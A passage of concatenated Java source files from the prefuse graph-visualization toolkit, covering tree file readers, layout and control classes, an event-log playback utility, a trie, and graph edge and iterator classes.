if ((c2 = t.nextToken()) != ',') {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (
(c2 == StreamTokenizer.TT_WORD) || (c2 == '"'))
types = t.sval;
else {
t.pushBack();
break;
}
aTEXT = HREFs;
if ((c2 = t.nextToken()) != ',')
t.pushBack();
else if (
(c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
t.pushBack();
else if (
(c2 == StreamTokenizer.TT_WORD)
|| (c2 == '"')) {
if (t.sval.startsWith("<"))
t.pushBack();
else if (!t.sval.equals(""))
aTEXT = t.sval;
} else
t.pushBack();
TEXTs = aTEXT;
//TEXTs
node = new DefaultTreeNode();
node.setAttribute("id", String.valueOf(count++));
node.setAttribute(textFieldName, TEXTs);
isizes = 0;
if ((c2 = t.nextToken()) == ',') {
if ((c2 = t.nextToken())
== StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (c2 == StreamTokenizer.TT_WORD) {
isizes =
Double.valueOf(t.sval).doubleValue();
}
} else
t.pushBack();
} else if (Tag.equals("<hl")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
readLevel(d, currentLevel, t, node);
if (firstTime) {
firstTime = false;
root = node;
}
} else {
//System.err.println ("readDataFile -- unexpected input : "+Tag);
}
break;
default :
//System.err.println ("readDataFile -- unexpected token : "+c);
} //end switch
} //end while
} catch (Exception e) {
System.err.println("Caught exception in readDataFile " + e);
e.printStackTrace();
}
}
private void readLevel(
BufferedReader d,
int currentLevel,
StreamTokenizer t,
DefaultTreeNode parent) {
String aTEXT;
String line, value;
String dirprefix = "";
int c, c2;
currentLevel++; // Increment level
isdir = true;
try {
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF) {
t.pushBack();
return;
}
if (c2 != StreamTokenizer.TT_EOL)
if ((c2 == StreamTokenizer.TT_WORD) || (c2 == '"'))
dirprefix = t.sval;
DefaultTreeNode node = null;
out : while (true) {
switch (c = t.nextToken()) {
case StreamTokenizer.TT_EOF :
break out;
case '"' :
case StreamTokenizer.TT_WORD :
String Tag = t.sval.toLowerCase();
if (Tag.equals("<r")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
index += 1;
levels = currentLevel;
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (c2 == StreamTokenizer.TT_WORD)
sizes = Double.valueOf(t.sval).doubleValue();
else {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) != ',') {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (
(c2 == StreamTokenizer.TT_WORD) || (c2 == '"'))
HREFs = t.sval;
else {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) != ',') {
t.pushBack();
break;
}
if ((c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (
(c2 == StreamTokenizer.TT_WORD) || (c2 == '"'))
types = t.sval;
else {
t.pushBack();
break;
}
aTEXT = HREFs;
if ((c2 = t.nextToken()) != ',')
t.pushBack();
else if (
(c2 = t.nextToken()) == StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
t.pushBack();
else if (
(c2 == StreamTokenizer.TT_WORD)
|| (c2 == '"')) {
if (t.sval.startsWith("<"))
t.pushBack();
else if (!t.sval.equals(""))
aTEXT = t.sval;
} else
t.pushBack();
TEXTs = aTEXT;
node = new DefaultTreeNode();
node.setAttribute("id", String.valueOf(count++));
node.setAttribute(textFieldName, TEXTs);
isizes = 0;
if ((c2 = t.nextToken()) == ',') {
if ((c2 = t.nextToken())
== StreamTokenizer.TT_EOF)
break out;
else if (c2 == StreamTokenizer.TT_EOL)
break;
else if (c2 == StreamTokenizer.TT_WORD) {
isizes =
Double.valueOf(t.sval).doubleValue();
}
} else
t.pushBack();
parent.addChild(new DefaultEdge(parent, node));
} else if (Tag.equals("<hl")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
readLevel(d, currentLevel, t, node);
} else if (Tag.equals("</hl")) {
if ((c2 = t.nextToken()) != '>') {
t.pushBack();
break;
}
if ((c2 = t.nextToken())
== StreamTokenizer.TT_EOF) {
t.pushBack();
return;
}
if (c2 != StreamTokenizer.TT_EOL) {
if ((c2 == StreamTokenizer.TT_WORD)
|| (c2 == '"')) {
String dirprefix2 = t.sval;
if (dirprefix2.startsWith("<"))
t.pushBack();
else if (!dirprefix.equals(dirprefix2)) {
//System.err.println("readLevel -- after / HL unexpected string : "+dirprefix2);
}
}
}
return; // End this level
} else {
//System.err.println ("readLevel -- unexpected input : "+Tag);
}
break;
default :
//System.err.println ("readLevel -- unexpected token : "+c);
}
}
} catch (Exception e) {
System.err.println(
"readLevel ** Exception: " + e + " " + currentLevel);
e.printStackTrace();
}
} //
//// == END FILE PARSING METHODS =========================================
//// =====================================================================
} // end of class HDirTreeReader
<file_sep>package edu.berkeley.guir.prefuse.action.assignment;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.NodeItem;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Tree;
/**
* Abstract class providing convenience methods for tree layout algorithms.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public abstract class TreeLayout extends Layout {
protected NodeItem m_root;
public NodeItem getLayoutRoot() {
return m_root;
} //
public void setLayoutRoot(NodeItem root) {
m_root = root;
} //
public NodeItem getLayoutRoot(ItemRegistry registry) {
if ( m_root != null )
return m_root;
Graph g = registry.getFilteredGraph();
if ( g instanceof Tree )
return (NodeItem)((Tree)g).getRoot();
else
throw new IllegalStateException("The filtered graph returned by"
+ " ItemRegistry.getFilteredGraph() must be a Tree instance for"
+ " a TreeLayout to work. Try using a different filter (e.g."
+ " edu.berkeley.guir.prefuse.action.filter.TreeFilter).");
} //
} // end of abstract class TreeLayout
<file_sep>/*
* Created on Jan 10, 2005
*
* To change the template for this generated file go to
* Window - Preferences - Java - Code Generation - Code and Comments
*/
package edu.berkeley.guir.prefuse.event;
import java.awt.AWTEvent;
import java.awt.EventQueue;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.MouseEvent;
import java.awt.event.MouseWheelEvent;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import edu.berkeley.guir.prefuse.Display;
/**
* @author jheer
*
* To change the template for this generated type comment go to
* Window - Preferences - Java - Code Generation - Code and Comments
*/
public class PrefuseEventPlayback {
private static HashSet s_mouseEvents = new HashSet();
private static HashSet s_keyEvents = new HashSet();
static {
s_mouseEvents.add(PrefuseEventLogger.ITEM_DRAGGED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_MOVED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_WHEEL_MOVED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_CLICKED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_PRESSED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_RELEASED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_ENTERED);
s_mouseEvents.add(PrefuseEventLogger.ITEM_EXITED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_ENTERED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_EXITED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_PRESSED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_RELEASED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_CLICKED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_DRAGGED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_MOVED);
s_mouseEvents.add(PrefuseEventLogger.MOUSE_WHEEL_MOVED);
s_keyEvents.add(PrefuseEventLogger.KEY_PRESSED);
s_keyEvents.add(PrefuseEventLogger.KEY_RELEASED);
s_keyEvents.add(PrefuseEventLogger.KEY_TYPED);
s_keyEvents.add(PrefuseEventLogger.ITEM_KEY_PRESSED);
s_keyEvents.add(PrefuseEventLogger.ITEM_KEY_RELEASED);
s_keyEvents.add(PrefuseEventLogger.ITEM_KEY_TYPED);
} //
private Display display;
private List events;
private long startTime;
public PrefuseEventPlayback(Display display, String logfile) {
this.display = display;
this.events = new ArrayList();
try {
parseLogFile(logfile);
} catch ( Exception e ) {
e.printStackTrace();
}
} //
public void play() {
Runnable runner = new Runnable() {
public void run() {
playInternal();
} //
};
new Thread(runner).start();
} //
public void playInternal() {
EventQueue queue = Toolkit.getDefaultToolkit().getSystemEventQueue();
long realtime = System.currentTimeMillis();
long playtime = startTime;
int i = 0;
while ( i < events.size() ) {
long mark = System.currentTimeMillis();
long elapsed = mark-realtime;
realtime = mark;
playtime += elapsed;
EventEntry entry = (EventEntry)events.get(i);
while ( entry != null && entry.time < playtime ) {
AWTEvent event = getEvent(mark, entry.event);
queue.postEvent(event);
if ( i < events.size()-1 )
entry = (EventEntry)events.get(++i);
else {
i++; entry = null;
}
}
if ( entry != null ) {
long sleeptime = entry.time - playtime;
try {
Thread.sleep(sleeptime);
} catch ( Exception e ) {}
}
}
} //
private void parseLogFile(String logfile) throws IOException {
startTime = -1L;
BufferedReader br = new BufferedReader(new FileReader(logfile));
String line;
while ((line=br.readLine()) != null) {
parseLine(line);
}
br.close();
} //
private void parseLine(String line) {
String[] toks = line.split("\t");
long time = Long.parseLong(toks[0]);
if ( startTime == -1L ) { startTime = time; }
boolean mouseEvent = s_mouseEvents.contains(toks[1]);
boolean keyEvent = s_keyEvents.contains(toks[1]);
if ( mouseEvent || keyEvent ) {
String data = null;
for ( int i=2; i<toks.length; i++ ) {
if ( toks[i].startsWith("[") )
data = toks[i];
}
EventParams ep = null;
if ( mouseEvent ) {
ep = parseMouseEvent(time, data);
} else {
ep = parseKeyEvent(time, data);
}
events.add(new EventEntry(time, ep));
}
} //
public AWTEvent getEvent(long time, EventParams ep) {
if ( ep instanceof MouseParams ) {
return getMouseEvent(time, (MouseParams)ep);
} else if ( ep instanceof KeyParams ) {
return getKeyEvent(time, (KeyParams)ep);
} else {
return null;
}
} //
public MouseEvent getMouseEvent(long time, MouseParams mp) {
if ( mp.id != MouseEvent.MOUSE_WHEEL ) {
return new MouseEvent(display, mp.id, time, mp.modifiers,
mp.x, mp.y, mp.clickCount, false, mp.button);
} else {
return new MouseWheelEvent(display, mp.id, time, mp.modifiers,
mp.x, mp.y, mp.clickCount, false, mp.scrollType,
mp.scrollAmount, mp.wheelRotation);
}
} //
public KeyEvent getKeyEvent(long time, KeyParams kp) {
return new KeyEvent(display, kp.id, time, kp.modifiers, kp.keyCode, kp.keyChar);
} //
public MouseParams parseMouseEvent(long time, String data) {
data = data.substring(1,data.length()-1);
String[] toks = data.split(",");
MouseParams mp = new MouseParams();
mp.id = Integer.parseInt(getValue(toks[0]));
mp.x = Integer.parseInt(getValue(toks[1]));
mp.y = Integer.parseInt(getValue(toks[2]));
mp.button = Integer.parseInt(getValue(toks[3]));
mp.clickCount = Integer.parseInt(getValue(toks[4]));
mp.modifiers = Integer.parseInt(getValue(toks[5]));
if ( mp.id == MouseEvent.MOUSE_WHEEL ) {
mp.scrollType = Integer.parseInt(getValue(toks[6]));
mp.scrollAmount = Integer.parseInt(getValue(toks[7]));
mp.wheelRotation = Integer.parseInt(getValue(toks[8]));
}
return mp;
} //
public KeyParams parseKeyEvent(long time, String data) {
data = data.substring(1,data.length()-1);
String[] toks = data.split(",");
KeyParams kp = new KeyParams();
kp.id = Integer.parseInt(getValue(toks[0]));
kp.keyCode = Integer.parseInt(getValue(toks[1]));
kp.keyChar = getValue(toks[2]).charAt(0);
kp.modifiers = Integer.parseInt(getValue(toks[3]));
return null;
} //
private String getValue(String token) {
return token.substring(token.indexOf("=")+1);
} //
public class EventEntry {
long time;
EventParams event;
public EventEntry(long time, EventParams ep) {
this.time = time;
this.event = ep;
}
} //
public class EventParams {
int id;
int modifiers;
} //
public class MouseParams extends EventParams {
int x;
int y;
int button;
int clickCount;
//-------------
int scrollType;
int scrollAmount;
int wheelRotation;
} //
public class KeyParams extends EventParams {
int keyCode;
char keyChar;
} //
} // end of class PrefuseEventPlayback
<file_sep><body>
The graph.event package contains classes for monitoring change events on
graph data structures.
</body><file_sep>package edu.berkeley.guir.prefusex.controls;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import edu.berkeley.guir.prefuse.Display;
import edu.berkeley.guir.prefuse.action.assignment.Layout;
import edu.berkeley.guir.prefuse.activity.Activity;
import edu.berkeley.guir.prefuse.event.ControlAdapter;
/**
* Follows the mouse cursor, updating the anchor parameter for any number
* of layout instances to match the current cursor position. Will also
* run a given activity in response to cursor updates.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class AnchorUpdateControl extends ControlAdapter {
private Layout[] m_layouts;
private Activity m_activity;
private Point2D m_tmp = new Point2D.Float();
public AnchorUpdateControl(Layout layout) {
this(layout,null);
} //
public AnchorUpdateControl(Layout layout, Activity update) {
this(new Layout[] {layout}, update);
} //
public AnchorUpdateControl(Layout[] layout, Activity update) {
m_layouts = (Layout[])layout.clone();
m_activity = update;
} //
public void mouseExited(MouseEvent e) {
for ( int i=0; i<m_layouts.length; i++ )
m_layouts[i].setLayoutAnchor(null);
if ( m_activity != null )
m_activity.runNow();
} //
public void mouseMoved(MouseEvent e) {
moveEvent(e);
} //
public void mouseDragged(MouseEvent e) {
moveEvent(e);
} //
public void moveEvent(MouseEvent e) {
Display d = (Display)e.getSource();
d.getAbsoluteCoordinate(e.getPoint(), m_tmp);
for ( int i=0; i<m_layouts.length; i++ )
m_layouts[i].setLayoutAnchor(m_tmp);
if ( m_activity != null )
m_activity.runNow();
} //
} // end of class AnchorUpdateControl
<file_sep>package edu.berkeley.guir.prefuse.graph.io;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.StringTokenizer;
import edu.berkeley.guir.prefuse.graph.DefaultEdge;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.DefaultTreeNode;
import edu.berkeley.guir.prefuse.graph.Tree;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Reads in a tree from a tab-delimited text format.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class TabDelimitedTreeReader extends AbstractTreeReader {
public static final String COMMENT = "#";
/**
* @see edu.berkeley.guir.prefuse.graph.io.TreeReader#loadTree(java.io.InputStream)
*/
public Tree loadTree(InputStream is) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line, label = null, parentLabel = null;
int lineno = 0;
boolean parsedHeader = false;
List headers = new ArrayList();
Map nodeMap = new HashMap();
TreeNode root = null;
int key = 0;
while ( (line=br.readLine()) != null ) {
lineno++;
try {
// skip commented lines
if ( line.startsWith(COMMENT) ) { continue; }
if ( !parsedHeader ) {
StringTokenizer st = new StringTokenizer(line);
while ( st.hasMoreTokens() ) {
String tok = st.nextToken();
tok = tok.substring(0, tok.length()-1);
headers.add(tok);
}
label = (String)headers.get(0);
parentLabel = (String)headers.get(1);
parsedHeader = true;
} else {
TreeNode n = new DefaultTreeNode();
String values[] = line.split("\t");
for ( int i = 0; i < values.length; i++ ) {
n.setAttribute((String)headers.get(i), values[i]);
}
n.setAttribute("Key",String.valueOf(key++));
if ( nodeMap.containsKey(label) ) {
String context = "[" + n.getAttribute(label) + "]";
throw new IllegalStateException("Found duplicate node label: "
+ context + " line " + lineno);
}
nodeMap.put(n.getAttribute(label), n);
String plabel = n.getAttribute(parentLabel);
if ( plabel.equals("") ) {
if ( root != null ) {
String context = "[" + n.getAttribute(label) + "]";
throw new IllegalStateException("Found multiple tree roots: "
+ context+ " line " + lineno);
} else {
root = n;
}
} else if ( nodeMap.containsKey(plabel) ) {
TreeNode p = (TreeNode)nodeMap.get(plabel);
p.addChild(new DefaultEdge(p,n));
}
}
} catch ( NullPointerException npe ) {
System.err.println(npe + " :: line " + lineno);
npe.printStackTrace();
} catch ( IllegalStateException ise ) {
System.err.println(ise);
}
}
br.close();
// now perform clean-up!
// if nodes still don't have parents, try to 'adopt' them
Iterator nodeIter = nodeMap.values().iterator();
while ( nodeIter.hasNext() ) {
try {
TreeNode n = (TreeNode)nodeIter.next();
if ( n.getParent() == null && n != root ) {
String plabel = n.getAttribute(parentLabel);
TreeNode p = (TreeNode)nodeMap.get(plabel);
if ( p == null ) {
String context = "[" + n.getAttribute(label) + ", " + plabel + "]";
throw new IllegalStateException("Found parentless node: " + context);
} else {
p.addChild(new DefaultEdge(p,n));
}
}
} catch ( NullPointerException npe ) {
npe.printStackTrace();
} catch ( IllegalStateException ise ) {
System.err.println(ise);
}
}
System.out.println("Read in tree with "+(root.getDescendantCount()+1)+" nodes.");
return new DefaultTree(root);
} //
} // end of class TabDelimitedTreeReader
<file_sep>package edu.berkeley.guir.prefuse.util;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.graph.DefaultEdge;
import edu.berkeley.guir.prefuse.graph.DefaultTree;
import edu.berkeley.guir.prefuse.graph.DefaultTreeNode;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Entity;
import edu.berkeley.guir.prefuse.graph.Tree;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Represents a trie data structure (a play on the words "tree" and
* "retrieval"). This builds a tree structure representing a set of
* words by indexing on word prefixes. It is useful for performing
* prefix-based searches over large amounts of text in an
* efficient manner.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
* @see PrefixSearchFocusSet
*/
public class Trie {
public class TrieNode {
boolean isLeaf;
int leafCount = 0;
} //
public class TrieBranch extends TrieNode {
char[] chars = new char[] {0};
TrieNode[] children = new TrieNode[1];
} //
public class TrieLeaf extends TrieNode {
public TrieLeaf(String word, Entity e) {
this.word = word;
entity = e;
next = null;
leafCount = 1;
}
String word;
Entity entity;
TrieLeaf next;
} //
public class TrieIterator implements Iterator {
private LinkedList queue;
private Entity next;
public TrieIterator(TrieNode node) {
queue = new LinkedList();
queue.add(node);
} //
public boolean hasNext() {
return !queue.isEmpty();
} //
public Object next() {
if ( queue.isEmpty() )
throw new NoSuchElementException();
TrieNode n = (TrieNode)queue.removeFirst();
Object o;
if ( n instanceof TrieLeaf ) {
TrieLeaf l = (TrieLeaf)n;
o = l.entity;
if ( l.next != null )
queue.addFirst(l.next);
return o;
} else {
TrieBranch b = (TrieBranch)n;
for ( int i = b.chars.length-1; i > 0; i-- ) {
queue.addFirst(b.children[i]);
}
if ( b.children[0] != null )
queue.addFirst(b.children[0]);
return next();
}
} //
public void remove() {
throw new UnsupportedOperationException();
} //
} // end of inner clas TrieIterator
private TrieBranch root = new TrieBranch();
private boolean caseSensitive = false;
public Trie(boolean caseSensitive) {
this.caseSensitive = caseSensitive;
} //
public void addString(String word, Entity e) {
TrieLeaf leaf = new TrieLeaf(word,e);
addLeaf(root, leaf, 0);
} //
public void removeString(String word, Entity e) {
removeLeaf(root, word, e, 0);
} //
private final int getIndex(char[] chars, char c) {
for ( int i=0; i<chars.length; i++ )
if ( chars[i] == c ) return i;
return -1;
} //
private final char getChar(String s, int i) {
char c = ( i < 0 || i >= s.length() ? 0 : s.charAt(i) );
return ( caseSensitive ? c : Character.toLowerCase(c) );
} //
private boolean removeLeaf(TrieBranch b, String word, Entity ent, int depth) {
char c = getChar(word, depth);
int i = getIndex(b.chars, c);
if ( i == -1 ) {
// couldn't find leaf
return false;
} else {
TrieNode n = b.children[i];
if ( n instanceof TrieBranch ) {
TrieBranch tb = (TrieBranch)n;
boolean rem = removeLeaf(tb, word, ent, depth+1);
if ( rem ) {
b.leafCount--;
if ( tb.leafCount == 1 )
b.children[i] = tb.children[tb.children[0]!=null?0:1];
}
return rem;
} else {
TrieLeaf nl = (TrieLeaf)n;
if ( nl.entity == ent ) {
b.children[i] = nl.next;
if ( nl.next == null )
repairBranch(b,i);
b.leafCount--;
return true;
} else {
TrieLeaf nnl = nl.next;
while ( nnl != null && nnl.entity != ent ) {
nl = nnl; nnl = nnl.next;
}
if ( nnl == null )
return false; // couldn't find leaf
// update leaf counts
for ( TrieLeaf tl = (TrieLeaf)n; tl.entity != ent; tl = tl.next )
tl.leafCount--;
nl.next = nnl.next;
b.leafCount--;
return true;
}
}
}
} //
private void repairBranch(TrieBranch b, int i) {
if ( i == 0 ) {
b.children[0] = null;
} else {
int len = b.chars.length;
char[] nchars = new char[len-1];
TrieNode[] nkids = new TrieNode[len-1];
System.arraycopy(b.chars,0,nchars,0,i);
System.arraycopy(b.children,0,nkids,0,i);
System.arraycopy(b.chars,i+1,nchars,i,len-i-1);
System.arraycopy(b.children,i+1,nkids,i,len-i-1);
b.chars = nchars;
b.children = nkids;
}
} //
private void addLeaf(TrieBranch b, TrieLeaf l, int depth) {
b.leafCount += l.leafCount;
char c = getChar(l.word, depth);
int i = getIndex(b.chars, c);
if ( i == -1 ) {
addChild(b,l,c);
} else {
TrieNode n = b.children[i];
if ( n == null ) {
// we have completely spelled out the word
b.children[i] = l;
} else if ( n instanceof TrieBranch ) {
// recurse down the tree
addLeaf((TrieBranch)n,l,depth+1);
} else {
// node is a leaf, need to do a split?
TrieLeaf nl = (TrieLeaf)n;
if ( i==0 || (caseSensitive ? nl.word.equals(l.word)
: nl.word.equalsIgnoreCase(l.word)) )
{
// same word, so chain the entries
for ( ; nl.next != null; nl = nl.next )
nl.leafCount++;
nl.leafCount++;
nl.next = l;
} else {
// different words, need to do a split
TrieBranch nb = new TrieBranch();
b.children[i] = nb;
addLeaf(nb,nl,depth+1);
addLeaf(nb,l,depth+1);
}
}
}
} //
private void addChild(TrieBranch b, TrieNode n, char c) {
int len = b.chars.length;
char[] nchars = new char[len+1];
TrieNode[] nkids = new TrieNode[len+1];
System.arraycopy(b.chars,0,nchars,0,len);
System.arraycopy(b.children,0,nkids,0,len);
nchars[len] = c;
nkids[len] = n;
b.chars = nchars;
b.children = nkids;
} //
public TrieNode find(String word) {
return (word.length() < 1 ? null : find(word, root, 0));
} //
private TrieNode find(String word, TrieBranch b, int depth) {
char c = getChar(word, depth);
int i = getIndex(b.chars, c);
if ( i == -1 ) {
return null; // not in trie
} else if ( b.children[i] instanceof TrieLeaf ) {
return b.children[i];
} else if ( word.length()-1 == depth ) {
return b.children[i]; // end of search
} else {
return find(word, (TrieBranch)b.children[i], depth+1); // recurse
}
} //
public Tree tree() {
TreeNode r = new DefaultTreeNode();
r.setAttribute("label", "root");
tree(root, r);
return new DefaultTree(r);
} //
private void tree(TrieBranch b, TreeNode n) {
for ( int i=0; i<b.chars.length; i++ ) {
if ( b.children[i] instanceof TrieLeaf ) {
TrieLeaf l = (TrieLeaf)b.children[i];
while ( l != null ) {
TreeNode c = new DefaultTreeNode();
c.setAttribute("label", l.word);
Edge e = new DefaultEdge(n,c);
n.addChild(e);
l = l.next;
}
} else {
DefaultTreeNode c = new DefaultTreeNode();
c.setAttribute("label", String.valueOf(b.chars[i]));
Edge e = new DefaultEdge(n,c);
n.addChild(e);
tree((TrieBranch)b.children[i], c);
}
}
} //
} // end of class Trie
<file_sep>package vizbook.web.demo;
import vizbook.web.WebLoggingTask;
/**
* A simple test logger that logs numbers from 0 to 99 every 1 second
* Every odd number is logged as an error
*
*/
public class RandomLogger extends WebLoggingTask {
@Override
public void task() {
for(int i = 0; i < 100; i++) {
if(i%2 == 0)
log(""+i);
else
logError(""+i);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
logError(e.getMessage());
}
}
}
}
<file_sep>package edu.berkeley.guir.prefuse.graph;
/**
* Represents an edge in a graph.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class DefaultEdge extends DefaultEntity implements Edge {
protected Node m_node1;
protected Node m_node2;
protected boolean m_directed;
/**
* Constructor. Creates a new <i>undirected</i> edge.
* @param n1 the first node in the edge
* @param n2 the second node in the edge
*/
public DefaultEdge(Node n1, Node n2) {
this(n1,n2,false);
} //
/**
* Constructor. Creates a new edge.
* @param n1 the first (source) node in the edge
* @param n2 the second (target) node in the edge
* @param directed specifies if this is a directed (true)
* or undirected (false) edge
*/
public DefaultEdge(Node n1, Node n2, boolean directed) {
m_node1 = n1;
m_node2 = n2;
m_directed = directed;
} //
/**
* Indicates if this edge is directed or undirected.
* @return true if the edge is directed, false otherwise.
*/
public boolean isDirected() {
return m_directed;
} //
/**
* Indicates if this is a tree edge, that is, if this edge helps
* define part of a tree structure. This holds true if both incident
* edges are instances of DefaultTreeNode and this edge defines a
* parent-child relationship between the two nodes.
* @return true if this is a tree-edge, false otherwise.
*/
public boolean isTreeEdge() {
if ( m_node1 instanceof TreeNode && m_node2 instanceof TreeNode ) {
TreeNode n1 = (TreeNode)m_node1;
TreeNode n2 = (TreeNode)m_node2;
return (n1.getParent() == n2 || n2.getParent()== n1);
}
return false;
} //
/**
* Indicates if this edge is incident on a given node
* @param n the node to check
* @return true if this edge is incident on the node, false otherwise.
*/
public boolean isIncident(Node n) {
return (m_node1 == n || m_node2 == n);
} //
/**
* Returns the first node in the edge (the source node for
* directed edges).
* @return the first (source) node
*/
public Node getFirstNode() {
return m_node1;
} //
/**
* Returns the second node in the edge (the target node for
* directed edges).
* @return the second (target) node
*/
public Node getSecondNode() {
return m_node2;
} //
/**
* Sets the first node in the edge (the source node for
* directed edges).
* @param n the new first (source) node.
*/
public void setFirstNode(Node n) {
m_node1 = n;
} //
/**
* Sets the second node in the edge (the target node for
* directed edges).
* @param n the new second (target) node.
*/
public void setSecondNode(Node n) {
m_node2 = n;
} //
/**
* Returns the node in this <code>DefaultEdge</code> adjacent to the
* provided node, or null if the provided node is not in this edge.
* @param n a Node that should be in this DefaultEdge
* @return the Node adjacent to the provided Node
*/
public Node getAdjacentNode(Node n) {
if ( n == m_node1 ) {
return m_node2;
} else if ( n == m_node2 ) {
return m_node1;
} else {
return null;
}
} //
public String toString() {
return "Edge("+m_node1+","+m_node2+")";
} //
} // end of class DefaultEdge
<file_sep>package edu.berkeley.guir.prefuse.event;
import java.util.EventListener;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* A listener interface through which components can be notified
* of changes in registry bindings.
*
* Apr 25, 2003 - alann - Created class
*
* @author alann
*/
public interface ItemRegistryListener extends EventListener {
/**
* Indicates a binding to a new VisualItem has been established.
* @param item the new VisualItem
*/
public void registryItemAdded(VisualItem item);
/**
* Indicates a binding to a VisualItem has been removed.
* @param item the removed VisualItem
*/
public void registryItemRemoved(VisualItem item);
} // end of class ItemRegistryListener
<file_sep>package edu.berkeley.guir.prefuse.render;
import java.awt.Graphics2D;
import java.awt.geom.Point2D;
import java.awt.geom.Rectangle2D;
import java.awt.image.BufferedImage;
import edu.berkeley.guir.prefuse.VisualItem;
/**
* Interface for rendering VisualItems. Supports drawing as well as location
* and bounding box routines.
*
* @author newbergr
* @author jheer
*/
public interface Renderer {
/**
* Provides a default graphics context for renderers to do useful
* things like compute string widths when an external graphics context
* has not yet been provided.
*/
public static final Graphics2D DEFAULT_GRAPHICS = (Graphics2D)
new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB).getGraphics();
/**
* Render item into a Graphics2D context.
* @param g the Graphics2D context
* @param item the item to draw
*/
public void render(Graphics2D g, VisualItem item);
/**
* Returns true if the Point is located inside coordinates of the item.
* @param p the point to test for containment
* @param item the item to test containment against
* @return true if the point is contained within the the item, else false
*/
public boolean locatePoint(Point2D p, VisualItem item);
/**
* Returns a reference to the bounding rectangle for the item.
* @param item the item to compute the bounding box for
* @return the item's bounding box as a Rectangle
*/
public Rectangle2D getBoundsRef(VisualItem item);
} // end of interface Renderer
<file_sep>package edu.berkeley.guir.prefuse.collections;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.NoSuchElementException;
import edu.berkeley.guir.prefuse.graph.TreeNode;
/**
* Iterates over tree nodes in a breadth-first manner.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class BreadthFirstTreeIterator implements Iterator {
private LinkedList m_queue = new LinkedList();
public BreadthFirstTreeIterator(TreeNode n) {
m_queue.add(n);
} //
/**
* @see java.util.Iterator#remove()
*/
public void remove() {
throw new UnsupportedOperationException();
} //
/**
* @see java.util.Iterator#hasNext()
*/
public boolean hasNext() {
return !m_queue.isEmpty();
} //
/**
* @see java.util.Iterator#next()
*/
public Object next() {
if ( m_queue.isEmpty() ) {
throw new NoSuchElementException();
}
TreeNode n = (TreeNode)m_queue.removeFirst();
Iterator iter = n.getChildren();
while ( iter.hasNext() ) {
TreeNode c = (TreeNode)iter.next();
m_queue.add(c);
}
return n;
} //
} // end of class BreadthFirstTreeIterator
<file_sep>package edu.berkeley.guir.prefuse.graph.event;
import java.util.EventListener;
import edu.berkeley.guir.prefuse.event.EventMulticaster;
import edu.berkeley.guir.prefuse.graph.Edge;
import edu.berkeley.guir.prefuse.graph.Graph;
import edu.berkeley.guir.prefuse.graph.Node;
/**
* Manages listeners for graph modification events.
*
* @author newbergr
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class GraphEventMulticaster extends EventMulticaster
